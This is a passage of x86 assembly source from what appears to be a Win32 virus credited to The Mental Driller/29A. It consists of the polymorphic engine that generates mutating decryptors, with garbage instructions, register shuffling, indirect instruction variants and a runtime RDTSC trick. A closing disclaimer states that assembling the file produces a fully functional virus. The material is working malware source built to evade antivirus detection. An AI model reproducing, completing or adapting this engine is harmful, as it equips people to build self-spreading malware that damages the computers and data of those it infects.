[ebp+Poly_JumpRandomExecution] ; If there is a or edx, edx ; random-execution routine, fix jz @@DontSetJump ; that jump also. mov [edx+1], eax @@DontSetJump: call Poly_SelectThreeRegisters xor edx, edx call Poly_DoPUSHValue ; Push a value of 0 (no error :) mov ecx, [ebp+ExitProcessAddress] call Poly_DoCALLMem ; Call to ExitProcess mov ebx, [ebp+VarMarksTable] ; Clear the marks of the mov ecx, 1000h ; variables used in this decryptor xor eax, eax ; for the next decryptors that could @@LoopClearMarks: ; be made after this one. mov [ebx], eax add ebx, 4 sub ecx, 4 or ecx, ecx jnz @@LoopClearMarks mov [ebp+AddressOfLastInstruction], edi ; Set the address mov eax, [ebp+OtherBuffers] ; of the last instruction mov [ebp+JumpsTable], eax ; and some buffers that add eax, 8000h ; we need for the engine mov [ebp+FramesTable], eax ; functions. mov eax, [ebp+NewAssembledCode] push eax mov eax, [ebp+TranslatedDeltaRegister] push eax call XpandCode ; Expand the code of the decryptor mov eax, [ebp+InstructionTable] ; Now arrange the addresses mov [ebp+NewAssembledCode], eax ; and values needed for mov eax, [ebp+ExpansionResult] ; the Assembler mov [ebp+InstructionTable], eax mov eax, [ebp+SizeOfNewCode] ; Save these values that push eax ; we must keep mov eax, [ebp+RoundedSizeOfNewCode] push eax mov eax, [ebp+SizeOfNewCodeP2] push eax call AssembleCode ; Assemble the decryptor mov eax, [ebp+SizeOfNewCode] ; Set the new addresses mov [ebp+SizeOfDecryptor], eax ; and sizes mov eax, [ebp+NewAssembledCode] mov [ebp+AssembledDecryptor], eax pop eax ; Restore some values mov [ebp+SizeOfNewCodeP2], eax pop eax mov [ebp+RoundedSizeOfNewCode], eax pop eax mov [ebp+SizeOfNewCode], eax pop eax mov [ebp+TranslatedDeltaRegister], eax pop eax mov [ebp+NewAssembledCode], eax ret ; Return with a new brand decryptor. MakeDecryptor endp ;; Function to insert a label in the label table. Poly_InsertLabel proc mov eax, [ebp+LabelTable] ; Get the label table mov ecx, [ebp+NumberOfLabels] ; Get the number of labels or ecx, ecx jz @@InsertLabel ; If 0, insert at the beginning @@LoopFindLabel: cmp [eax], edi ; If not, check if that label is jz @@LabelInserted ; already inserted add eax, 8 sub ecx, 1 ; If it is, return the label addr. or ecx, ecx ; If not, we insert the new label jnz @@LoopFindLabel ; at the end of the table @@InsertLabel: mov [eax], edi ; Set the new label mov [eax+4], edi mov ecx, [ebp+NumberOfLabels] ; Increase the number of add ecx, 1 ; labels. mov [ebp+NumberOfLabels], ecx @@LabelInserted: ret ; Return. Poly_InsertLabel endp ;; Function to set the function name passed in the values of Index, Counter ;; and Buffer. An instruction will be created for each one (in a random order) ;; and after that another three instructions will be created for putting the ;; values of the registers into the buffer that GetModuleHandle or ;; GetProcAddres will use to get the data needed. Poly_SetFunctionName proc call Poly_SelectThreeRegisters ; Select new registers mov edx, [ebp+Poly_FirstPartOfFunction] mov [ebp+IndexValue], edx ; Set the values mov edx, [ebp+Poly_SecondPartOfFunction] mov [ebp+BufferValue], edx mov edx, [ebp+Poly_ThirdPartOfFunction] mov [ebp+CounterValue], edx call Poly_SetValueToRegisters ; Make MOV instructions call Poly_SetPART_ONEtoMemory_GetStartAddress mov ebx, eax call Poly_SetPART_TWOtoMemory_GetStartAddress mov ecx, eax call Poly_SetPART_THREEtoMemory_GetStartAddress mov edx, eax call Poly_RandomCall ; Make instructions to set the ; current value of the registers ; to the specified buffer. call Poly_SelectThreeRegisters ; Get three new registers mov ecx, [ebp+IndexRegister] xor edx, edx call Poly_DoMOVRegValue ; Set a 0 at the end of ; the data set before (with ; the new created MOVs) mov ebx, [ebp+AdditionToBuffer] add ebx, 0Ch mov ecx, [ebp+IndexRegister] call Poly_DoMOVMemReg ; ASCIIZ (or UNICODEZ :) ret Poly_SetFunctionName endp ;; This function selects three new registers for Index, Counter and Buffer. Poly_SelectThreeRegisters proc mov eax, 8 mov [ebp+IndexRegister], eax ; Initialize them to no_reg mov [ebp+BufferRegister], eax mov [ebp+CounterRegister], eax call Poly_GetAGarbageRegister ; Get a register mov [ebp+IndexRegister], eax ; Set it call Poly_GetAGarbageRegister ; Get a register mov [ebp+BufferRegister], eax ; Set it call Poly_GetAGarbageRegister ; Get a register mov [ebp+CounterRegister], eax ; Set it ret Poly_SelectThreeRegisters endp ;; Function to construct MOVs to set the values specified in every register ;; field to the corresponding Buffer, Counter and/or Index register. Poly_SetValueToRegisters proc call Poly_SetIndexValue_GetStartAddress ; Get the addresses mov ebx, eax ; of the functions call Poly_SetBufferValue_GetStartAddress ; to make a mov ecx, eax ; random-ordered call Poly_SetCounterValue_GetStartAddress ; call. mov edx, eax call Poly_RandomCall ; Make random-ordered call of ret ; the functions at EBX,ECX and EDX Poly_SetValueToRegisters endp ;; Function to modify the counter in the decryption loop using PRIDE) Poly_ModifyCounter proc call Random and eax, 3 ; Add 4 plus a random 0-3. This will be add eax, 4 ; eliminated by the mask. mov edx, eax mov ecx, [ebp+CounterRegister] call Poly_DoADDRegValue ret Poly_ModifyCounter endp ;; Mask the register passed at ECX with the value in SizeOfNewCodeP2 (MOD of ;; that value) Poly_MaskRegister proc mov eax, 20h ; Make AND mov [edi], eax mov [edi+1], ecx call Random ; Get a random upper bits until the one mov ebx, [ebp+SizeOfNewCodeP2] ; that we must anulate mov ecx, ebx ; (i.e. set to 0) to make not ebx ; an effective MOD of the and eax, ebx ; value. All these bits sub ecx, esi ; set to random values are or eax, ecx ; always 0 in the register neg esi ; we are masking, so there and eax, esi ; is no problem. mov [edi+7], eax add edi, 10h ret Poly_MaskRegister endp ;; Mask the counter. Get the register in ECX and call the MaskRegister Poly_MaskCounter proc mov ecx, [ebp+CounterRegister] mov esi, 4 jmp Poly_MaskRegister Poly_MaskCounter endp ;; Mask the index. Poly_MaskIndex proc mov ecx, [ebp+IndexRegister] mov esi, 1 jmp Poly_MaskRegister Poly_MaskIndex endp ;; To modify the index, we add the addition we calculated at the beginning ;; of the polymorphism function Poly_ModifyIndex proc mov edx, [ebp+Poly_Addition] mov ecx, [ebp+IndexRegister] call Poly_DoADDRegValue ret Poly_ModifyIndex endp Poly_RandomCall proc mov esi, 5 ; Garble the values at EBX, ECX and EDX @@Again: call Xp_GarbleRegisters sub esi, 1 or esi, esi jnz @@Again or ebx, ebx ; If 0 in any one, don't push it jz @@DontPush1st push ebx @@DontPush1st: or ecx, ecx jz @@DontPush2nd push ecx @@DontPush2nd: or edx, edx jz @@DontPush3rd push edx @@DontPush3rd: ; Ret and execute the functions in that ret ; registers one after another Poly_RandomCall endp ; To do a random-ordered calling of several functions we must know the address ; of this functions, but if we have a metamorphic code we can't do it because ; we can't make a difference between a normal value and an offset value (while ; doing LEA, or other), so we can't rely on hard-coded offsets to get function ; addresses. For this case, the idea is to put a call pointing to a POP & RET ; just before the start address of the function, so the CALL automatically ; will return into the stack the starting address of the function, so calling ; to Poly_SetIndexValue_GetStartAddress() (for example) will call to the func ; Poly_RandomCall_GetAddress(), which makes a POP EAX (putting there the ; starting address of the function) and then returning to where we called ; to xxxGetStartAddress(). Easy, isn't it? No! It is easy once you know it, ; but it wasn't easy to get the idea (believe me :). Poly_SetIndexValue_GetStartAddress: call Poly_RandomCall_GetAddress ; Get the start address Poly_SetIndexValue proc mov ecx, [ebp+IndexRegister] mov edx, [ebp+IndexValue] call Poly_DoMOVRegValue ret Poly_SetIndexValue endp Poly_SetBufferValue_GetStartAddress: call Poly_RandomCall_GetAddress Poly_SetBufferValue proc mov ecx, [ebp+BufferRegister] mov edx, [ebp+BufferValue] call Poly_DoMOVRegValue ret Poly_SetBufferValue endp Poly_SetCounterValue_GetStartAddress: call Poly_RandomCall_GetAddress Poly_SetCounterValue proc mov ecx, [ebp+CounterRegister] mov edx, [ebp+CounterValue] call Poly_DoMOVRegValue ret Poly_SetCounterValue endp Poly_RandomCall_GetAddress proc ; Function where we return, POPing the pop eax ; return address and getting the function ret ; start. Poly_RandomCall_GetAddress endp Poly_SetPART_ONEtoMemory_GetStartAddress: call Poly_RandomCall_GetAddress Poly_SetPART_ONEtoMemory proc mov ecx, [ebp+IndexRegister] mov ebx, [ebp+AdditionToBuffer] call Poly_DoMOVMemReg ret Poly_SetPART_ONEtoMemory endp Poly_SetPART_TWOtoMemory_GetStartAddress: call Poly_RandomCall_GetAddress Poly_SetPART_TWOtoMemory proc mov ecx, [ebp+BufferRegister] mov ebx, [ebp+AdditionToBuffer] add ebx, 4 call Poly_DoMOVMemReg ret Poly_SetPART_TWOtoMemory endp Poly_SetPART_THREEtoMemory_GetStartAddress: call Poly_RandomCall_GetAddress Poly_SetPART_THREEtoMemory proc mov ecx, [ebp+CounterRegister] mov ebx, [ebp+AdditionToBuffer] add ebx, 8 call Poly_DoMOVMemReg ret Poly_SetPART_THREEtoMemory endp ;; Function to generate a MOV Reg,Value (with our pseudoassembler). Poly_DoMOVRegValue proc mov eax, 2 call RandomBoolean_X008_11 ; Get direct or indirect method or eax, eax ; WEIGHT_X010 jz @@Direct call Poly_GetAGarbageRegister ; If indirect, we get a push ecx ; garbage register, move the mov ecx, eax ; value to it and after that call @@Direct ; we move the register to mov eax, 41h ; the one that we want. mov [edi], eax mov [edi+1], ecx pop ecx mov [edi+7], ecx add edi, 10h ret @@Direct: mov eax, 40h ; If direct, then that: direct :) mov [edi], eax mov [edi+1], ecx mov [edi+7], edx add edi, 10h ret Poly_DoMOVRegValue endp ;; This function makes an ADD Reg,Value in the same way that in the function ;; above: direct will add the value to the register, while indirect will ;; move the value to a garbage register and after that will add that register ;; to the one that we want to modify. Poly_DoADDRegValue proc mov eax, 3 call RandomBoolean_X008_11 ; Select direct or indirect or eax, eax jz @@Direct mov eax, 40h ; Move the value to add to a garbage mov [edi], eax ; register call Poly_GetAGarbageRegister mov [edi+1], eax mov ebx, eax mov [edi+7], edx add edi, 10h mov eax, 01h ; ADD Reg,Reg mov [edi], eax mov [edi+1], ebx mov [edi+7], ecx add edi, 10h ret @@Direct: xor eax, eax ; ADD Reg,Value mov [edi], eax mov [edi+1], ecx mov [edi+7], edx add edi, 10h ret Poly_DoADDRegValue endp ;; Just that: MOV Mem,Reg. The memory is the DATA section of the decryptor, ;; and the offset within is in EBX. Poly_DoMOVMemReg proc xor eax, eax call RandomBoolean_X012_15 or eax, eax jz @@Direct ; Select direct or indirect mov eax, 41h mov [edi], eax mov [edi+1], ecx ; Make MOV GarbageReg,Reg and substitute call Poly_GetAGarbageRegister ; the original register by mov ecx, eax ; the garbage one. mov [edi+7], eax add edi, 10h @@Direct: mov eax, 43h ; MOV Mem,Reg pseudoopcode mov [edi], eax mov eax, 0808h mov [edi+1], eax mov eax, ebx ; Get the offset and add the DATA sect. add eax, [ebp+Decryptor_DATA_SECTION] ; of the virus. mov [edi+3], eax mov [edi+7], ecx add edi, 10h ret Poly_DoMOVMemReg endp ;; Just like above, but inversed. Poly_DoMOVRegMem proc mov eax, 1 call RandomBoolean_X012_15 ; Direct or indirect or eax, eax jz @@Direct push ecx call Poly_GetAGarbageRegister ; Use this garbage register. mov ecx, eax call @@Direct ; Make the MOV GarbageReg,Mem mov eax, 41h ; MOV Reg,GarbageReg mov [edi], eax mov [edi+1], ecx pop ecx mov [edi+7], ecx add edi, 10h ret @@Direct: mov eax, 42h ; Make the instruction directly mov [edi], eax mov eax, 0808h mov [edi+1], eax mov eax, ebx ; EBX is an offset within DATA sect. of add eax, [ebp+Decryptor_DATA_SECTION] ; the decryptor. mov [edi+3], eax mov [edi+7], ecx add edi, 10h ret Poly_DoMOVRegMem endp ;; Make a PUSH Reg Poly_DoPUSHReg proc mov eax, 50h mov [edi], eax mov [edi+1], ecx add edi, 10h ret Poly_DoPUSHReg endp ;; Make a POP Reg Poly_DoPOPReg proc mov eax, 58h mov [edi], eax mov [edi+1], ecx add edi, 10h ret Poly_DoPOPReg endp ;; Make a PUSH Value Poly_DoPUSHValue proc mov eax, 2 ; WEIGHT_X014 call RandomBoolean_X012_15 ; Make it directly or indirectly. and eax, 3 ; directly just pushes the value, and or eax, eax ; indirectly first moves the value to a jz @@Direct ; garbage register and then pushes that mov eax, 40h ; register. mov [edi], eax call Poly_GetAGarbageRegister mov [edi+1], eax mov [edi+7], edx add edi, 10h mov ecx, eax call Poly_DoPUSHReg ret @@Direct: mov eax, 68h mov [edi], eax mov [edi+7], edx add edi, 10h ret Poly_DoPUSHValue endp ;; This function will perform a XOR Reg,Reg, both directly and indirectly ;; (with a garbage register), like the functions above. Poly_DoXORRegReg proc mov eax, 3 call RandomBoolean_X012_15 ; WEIGHT_X015 or eax, eax jz @@Single call Poly_GetAGarbageRegister mov esi, eax mov eax, 41h ; Make MOV GarbageReg,SourceReg mov [edi], eax mov [edi+1], edx mov [edi+7], esi add edi, 10h mov edx, esi ; Subsitute the SourceReg by the garbage ; register. @@Single: mov eax, 31h ; Make XOR DestinyReg,GarbageReg mov [edi], eax mov [edi+1], edx mov [edi+7], ecx add edi, 10h ret Poly_DoXORRegReg endp ;; This function gets a register that is not used by the decryptor (or ;; whatever the code we are doing). Concretely, it gets a random register from ;; 0 to 7, and if it's not ESP, IndexReg, CounterReg or BufferReg, then it ;; returns it (it's not used/reserved). Poly_GetAGarbageRegister proc @@Again: call Random and eax, 7 cmp eax, [ebp+IndexRegister] jz @@Again cmp eax, [ebp+CounterRegister] jz @@Again cmp eax, [ebp+BufferRegister] jz @@Again cmp eax, 4 jz @@Again ret Poly_GetAGarbageRegister endp ;; This function creates a check with 0 Poly_MakeCheckWith0 proc xor eax, eax call RandomBoolean_X016_19 ; WEIGHT_X016 or eax, eax jnz @@Single mov eax, 40h ; Composed option: MOV Reg2,0 / mov [edi], eax ; CMP Reg,Reg2 call Poly_GetAGarbageRegister mov [edi+1], eax xor ebx, ebx mov [edi+7], ebx add edi, 10h mov ebx, 39h mov [edi], ebx mov [edi+1], eax mov [edi+7], ecx add edi, 10h ret @@Single: mov eax, 38h ; This one is direct mov [edi], eax mov [edi+1], ecx xor eax, eax mov [edi+7], eax add edi, 10h ret Poly_MakeCheckWith0 endp ;; This function makes a CALL to a memory address. It's used mainly for API ;; calls. We can do both simple and composed CALLs. Poly_DoCALLMem proc mov eax, 1 call RandomBoolean_X016_19 ; WEIGHT_X017 or eax, eax jz @@Single mov eax, 40h ; Move the address to a garbage register mov [edi], eax call Poly_GetAGarbageRegister mov ebx, eax mov [edi+1], eax mov [edi+7], ecx add edi, 10h mov eax, 0EAh ; Call to [Register] mov [edi], eax mov eax, 0800h add eax, ebx mov [edi+1], eax xor eax, eax mov [edi+3], eax add edi, 10h ret @@Single: mov eax, 0EAh ; Call the address directly mov [edi], eax mov eax, 0808h mov [edi+1], eax mov [edi+3], ecx add edi, 10h ret Poly_DoCALLMem endp ;; This piece of code generates a RDTSC/RET function in runtime once in ;; every 4 created decryptors. The mini-routine has some variants, to make ;; it a little "polymorphic" :). ;; There isn't a standard way of getting a random number in runtime without ;; using APIs (to my knowledge), since FS:[xxx] addresses depend on the ;; win32 system we use (Win9x or WinNT). Poly_MakeRandomExecution proc mov eax, 2 call RandomBoolean_X016_19 ; WEIGHT_X018 ; Only a prob. of making this of 1/4! or eax, eax ; (at first generation, after that it jnz @@Normal ; evolves) call Poly_SelectThreeRegisters ; Select new registers mov ecx, [ebp+IndexRegister] ; Construct the mini- mov edx, [ebp+Decryptor_DATA_SECTION] ; function here. call Random ; Get a random offset inside the and eax, 1Ch ; first 20h bytes of the decryptor add edx, eax ; data section, and construct the cmp eax, 1Ch ; 4-byte function there. jz @@DontAddMore call Random and eax, 3 add edx, eax @@DontAddMore: ; Set the IndexRegister with this call Poly_DoMOVRegValue ; value. call Random ; Get a random number push eax ; Save it mov edx, eax ; Move it to BufferReg mov ecx, [ebp+BufferRegister] call Poly_DoMOVRegValue @@RDTSC_Option0: mov eax, 3 call RandomBoolean_X016_19 ; Get one of the three possible ; WEIGHT_X019 ; variants. or eax, eax jz @@RDTSC_Option2 ; Garbage at the beginning xor eax, eax call RandomBoolean_X020_23 ; WEIGHT_X020 or eax, eax jz @@RDTSC_Option3 ; Garbage in the middle @@RDTSC_Option1: call Random and eax, 0FF000000h ; Garbage at the end (a random byte :) add eax, 000C3310Fh jmp @@RDTSC_SetInstruction @@RDTSC_Option2: call Poly_GetGarbageOneByter ;and eax, 0000000FFh ; Set a one-byte do-nothing instrc. add eax, 0C3310F00h ; at the beginning jmp @@RDTSC_SetInstruction @@RDTSC_Option3: call Poly_GetGarbageOneByter shl eax, 10h ; Set a one-byter in the middle add eax, 0C300310Fh @@RDTSC_SetInstruction: mov edx, eax ; Now make the value in EAX from the pop eax ; random value we made before. sub edx, eax mov ecx, [ebp+BufferRegister] call Poly_DoADDRegValue ; Make it by ADD (or SUB). It's ; a way of encrypting it. mov eax, 43h ; Make a MOV [IndexReg],BufferReg mov [edi], eax mov eax, 0800h add eax, [ebp+IndexRegister] mov [edi+1], eax xor eax, eax mov [edi+3], eax mov eax, [ebp+BufferRegister] mov [edi+7], eax add edi, 10h mov eax, 0ECh ; Now make CALL IndexReg. mov [edi], eax mov eax, [ebp+IndexRegister] mov [edi+1], eax ; It will return a random value in add edi, 10h ; EAX xor eax, eax ; Set IndexReg as EAX mov [ebp+IndexRegister], eax mov eax, 8 ; Destroy the other registers mov [ebp+BufferRegister], eax mov [ebp+CounterRegister], eax mov eax, 1 call RandomBoolean_X020_23 ; TEST or AND/CMP? ; WEIGHT_X021 or eax, eax jz @@DirectTEST @@ANDandCheck: mov eax, 20h ; Make AND EAX,2^rnd mov [edi], eax xor eax, eax call Xpand_ReverseTranslation ; Set the register that will mov [edi+1], eax ; be translated to EAX with call @@GetARandomPowerOf2 ; the expander mov [edi+7], edx add edi, 10h xor eax, eax call Xpand_ReverseTranslation mov ecx, eax call Poly_MakeCheckWith0 ; Make a check with 0 @@SetTheJump: mov eax, 2 call RandomBoolean_X020_23 ; WEIGHT_X022 add eax, 74h ; Set a random JZ/JNZ to mov [edi], eax ; ExitProcess. mov [ebp+Poly_JumpRandomExecution], edi ; Set the address add edi, 10h ; of the jump to complete and ret ; return. @@DirectTEST: mov eax, 48h ; The direct test is TEST EAX,xxxx mov [edi], eax xor eax, eax call Xpand_ReverseTranslation mov [edi+1], eax call @@GetARandomPowerOf2 ; Get a 2^rnd number (only one mov [edi+7], edx ; bit set) add edi, 10h jmp @@SetTheJump @@Normal: xor eax, eax ; If we don't make this, we set the jump mov [ebp+Poly_JumpRandomExecution], eax ; to complete to ret ; 0 and we exit. @@GetARandomPowerOf2: ; A 2^rnd number is achieved by getting call Random ; a random number from 0 to 31 and then and eax, 1Fh ; shifting 1 by that number. Easy :). mov edx, 1 @@LoopRotate: or eax, eax jz @@RotateFinish shl edx, 1 sub eax, 1 jmp @@LoopRotate @@RotateFinish: ret Poly_MakeRandomExecution endp ;; Get a garbage one-byte instruction. Poly_GetGarbageOneByter proc call Random ; Get a random number from 0 to 7 and eax, 7 add eax, 0F8h ; Add F8 to get some interesting instrc. cmp eax, 0FAh ; CLI? jz @@ReturnCMC ; Then set CMC cmp eax, 0FDh ; STD? jz @@ReturnNOP ; Then set NOP (bad things happen if not!) cmp eax, 0FEh ; Other type of opcodes? jb @@Return ; If not, return the opcode @@ReturnNOP: mov eax, 90h ; Set NOP @@Return: ret @@ReturnCMC: mov eax, 0F5h ; Set CMC ret Poly_GetGarbageOneByter endp ;; ;; ;; End of the polymorphic engine ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; EndOfCode label dword end PreMain (c) The Mental Driller/29A, somewhere on February 2002 DISCLAIMER This code is only for research and educational purposes only. The assembling of this file will produce a fully functional virus, so you have been warned. If this kind of material is illegal in your country or state, you should remove it from your computer. The author of this virus declines any illegal activity performed by the possesor of the assembled form of this source code including possesion and/or spreading of the virus generated from this source code. This source code is provided "as is". The deliberated modification of this source code will derive in a new virus that must not be considered the virus sourced here. The author of the original source code will not be considered the author of the new modified or derivated virus.